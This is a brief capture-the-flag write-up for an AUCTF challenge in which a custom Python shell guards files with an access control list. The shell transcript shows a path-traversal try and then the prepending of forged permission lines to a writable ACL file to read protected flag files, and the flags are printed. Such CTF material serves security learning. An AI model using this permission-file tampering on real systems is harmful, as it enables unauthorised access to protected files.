Easy as Pie!
Table of Contents
Simple Python.
Problem
My friend just spent hours making this custom shell! He’s still working on it so it doesn’t have much. But we can do some stuff! He even built a custom access control list for controlling if you can access files.
Check it out!
nc challenges.auctf.com 30010
Solution
Just try.
Result
user@pyshell$ cat ../../flag.txt
user@pyshell$ cd
*** Unknown syntax: cd
user@pyshell$ cat acl.txt
user.txt:user:600
.acl.txt:root:600
.flag.txt:user:600
flag.txt:root:600
acl.txt:root:606
user@pyshell$ help write
write <content> <filename>
adds content to the beginning of the file.
user@pyshell$ write 1 acl.txt
1
user@pyshell$ cat acl.txt
1
user.txt:user:600
.acl.txt:root:600
.flag.txt:user:600
flag.txt:root:600
acl.txt:root:606
user@pyshell$ write flag.txt:user:600 acl.txt
flag.txt:user:600
user@pyshell$ cat flag.txt
aUctf_{h3y_th3_fl4g}
user@pyshell$ write .acl.txt:user:600
user@pyshell$ cat .acl.txt
Don't have da permzzz
user@pyshell$ write .acl.txt:user:600 acl.txt
.acl.txt:user:600
user@pyshell$ cat .acl.txt
auctf{h4_y0u_g0t_tr0ll3d_welC0m#_t0_pWN_l@nd}
